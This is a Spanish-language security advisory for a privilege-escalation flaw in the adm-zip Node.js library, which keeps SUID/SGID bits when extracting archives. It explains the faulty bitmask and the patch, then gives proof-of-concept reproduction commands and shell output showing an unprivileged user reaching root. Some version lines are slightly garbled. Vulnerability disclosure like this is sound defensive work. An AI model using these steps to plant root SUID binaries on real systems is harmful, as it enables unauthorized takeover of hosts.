
CVE-2026-102282: Escalada de privilegios local mediante la preservación de SUID/SGID durante la extracción de archivos
adm-zip es una biblioteca consolidada de archivos ZIP escrita en JavaScript puro para Node.js, con más de 20 millones de descargas semanales en todo el ecosistema npm. Está ampliamente integrada en pipelines de CI/CD, flujos de trabajo de construcción de contenedores, herramientas de despliegue en la nube y aplicaciones del lado del servidor para gestionar la compresión y extracción de archivos.
Durante la extracción, adm-zip admite una opción de configuración keepOriginalPermission destinada a restaurar los permisos POSIX registrados en el archivo. Sin embargo, la biblioteca no filtraba los bits especiales de modo de archivo Unix que otorgan privilegios: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) y el bit sticky (S_ISVTX, 0o1000).
Cuando una aplicación extrae un archivo ZIP no confiable con keepOriginalPermission = true mientras se ejecuta con privilegios elevados (como un runner de CI a nivel de root, un entrypoint de contenedor Docker o un daemon de tareas backend), adm-zip aplica los bits SUID/SGID especificados por el atacante al disco mediante fs.chmodSync(). Esto crea un ejecutable SUID propiedad de root en el sistema de archivos del host, lo que permite a un usuario local sin privilegios ejecutar el binario y obtener privilegios de root de inmediato.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1En la especificación del formato ZIP de PKWARE, los permisos de archivo Unix se almacenan en el campo de 32 bits external file attributes de la Cabecera del Directorio Central (bytes 38-41). En archivos compatibles con Unix, los 16 bits superiores codifican el tipo de archivo y el modo de permisos POSIX de 12 bits (0o7777).
En las versiones <= 0.6.0, headers/entryHeader.js utilizaba una máscara de bits de 12 bits (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
La máscara de bits 0xfff (binario 1111 1111 1111) extrae los 12 bits inferiores completos, preservando no solo los permisos estándar de lectura/escritura/ejecución (0o777), sino también los bits de permisos especiales 0o4000 (SUID), 0o2000 (SGID) y 0o1000 (Sticky).
En la versión 0.6.1, la máscara se limitó a 0o777 (511 en decimal), eliminando todos los bits de privilegios especiales:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
El problema se desencadena cuando keepOriginalPermission está habilitado durante la extracción:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
En util/utils.js, el atributo extraído se pasaba directamente al sistema de archivos sin validación:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Cuando el proceso de extracción se ejecuta como root (euid 0) en un sistema de archivos montado sin nosuid, fs.chmodSync() establece los permisos del archivo extraído al modo 0o4755 (-rwsr-xr-x) con propietario root:root.
[email protected])Creación del archivo y extracción con privilegios:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
Ejecución por un usuario local sin privilegios (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
Cuando se procesan archivos ZIP no confiables con privilegios elevados —como agentes de compilación automatizados, entornos de alojamiento compartido, rutinas de inicialización de contenedores serverless y frameworks de instalación de plugins— un usuario sin privilegios puede proporcionar un archivo manipulado para implantar un binario SUID arbitrario propiedad de root, lo que conduce a una Escalada de Privilegios Local (LPE) y a la ejecución arbitraria de código como root.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
Nota: El directorio de extracción de destino debe residir en un sistema de archivos montado sin nosuid.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Puntuación base 7.1)0.6.1